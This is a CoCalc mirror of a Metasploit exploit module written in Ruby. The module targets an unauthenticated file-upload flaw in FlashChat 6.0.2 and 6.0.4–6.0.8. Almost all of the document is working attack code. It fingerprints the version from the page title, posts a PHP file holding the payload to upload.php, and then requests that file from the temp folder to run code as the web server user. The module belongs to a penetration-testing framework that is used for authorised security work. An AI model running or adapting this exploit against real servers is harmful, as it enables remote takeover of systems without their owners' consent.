CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/flashchat_upload_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
def initialize(info={})
14
super(update_info(info,
15
'Name' => "FlashChat Arbitrary File Upload",
16
'Description' => %q{
17
This module exploits a file upload vulnerability found in FlashChat
18
versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload
19
feature in order to upload malicious PHP files without authentication
20
which results in arbitrary remote code execution as the web server user.
21
},
22
'License' => MSF_LICENSE,
23
'Author' =>
24
[
25
'x-hayben21', # Discovery and PoC
26
'bcoles' # Metasploit
27
],
28
'References' =>
29
[
30
['OSVDB', '98233'],
31
['EDB', '28709']
32
],
33
'Payload' =>
34
{
35
'BadChars' => "\x00"
36
},
37
'Arch' => ARCH_PHP,
38
'Platform' => 'php',
39
'Targets' =>
40
[
41
# Tested on FlashChat version 6.0.8
42
[ 'Generic (PHP Payload)', {} ]
43
],
44
'Privileged' => false,
45
'DisclosureDate' => '2013-10-04',
46
'DefaultTarget' => 0))
47
48
register_options(
49
[
50
OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/'])
51
])
52
end
53
54
#
55
# Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8
56
#
57
def check
58
uri = normalize_uri(target_uri.path, '')
59
res = send_request_raw({'uri' => uri})
60
61
if not res
62
vprint_error("Connection timed out")
63
return Exploit::CheckCode::Unknown
64
end
65
66
version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || ''
67
68
if version.empty?
69
return Exploit::CheckCode::Unknown
70
end
71
72
vprint_status("Version found: #{version}")
73
74
if version =~ /6\.0\.(2|4|5|6|7|8)/
75
return Exploit::CheckCode::Appears
76
elsif version <= "6.0.8"
77
return Exploit::CheckCode::Detected
78
else
79
return Exploit::CheckCode::Safe
80
end
81
82
end
83
84
85
#
86
# Uploads our malicious file
87
# Stolen from havalite_upload_exec.rb
88
#
89
def upload(base)
90
fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
91
php = "<?php #{payload.encoded} ?>"
92
data = Rex::MIME::Message.new
93
data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
94
post_data = data.to_s
95
96
res = send_request_cgi({
97
'method' => 'POST',
98
'uri' => normalize_uri(base, 'upload.php'),
99
'ctype' => "multipart/form-data; boundary=#{data.bound}",
100
'data' => post_data
101
})
102
103
if not res
104
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
105
elsif res.code.to_i == 404
106
fail_with(Failure::NotFound, "#{peer} - No upload.php found")
107
elsif res.code.to_i == 500
108
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
109
end
110
111
return fname
112
end
113
114
115
#
116
# Executes our uploaded malicious file
117
# Stolen from havalite_upload_exec.rb
118
#
119
def exec(base, payload_fname)
120
res = send_request_raw({
121
'uri' => normalize_uri(base, 'temp', payload_fname)
122
})
123
124
if res and res.code == 404
125
fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
126
end
127
end
128
129
def exploit
130
base = target_uri.path
131
132
# upload
133
print_status("Uploading malicious file...")
134
fname = upload(base)
135
136
# register the file to clean
137
register_files_for_cleanup(fname)
138
139
# exec
140
print_status("Executing #{fname}...")
141
exec(base, fname)
142
end
143
end
144
145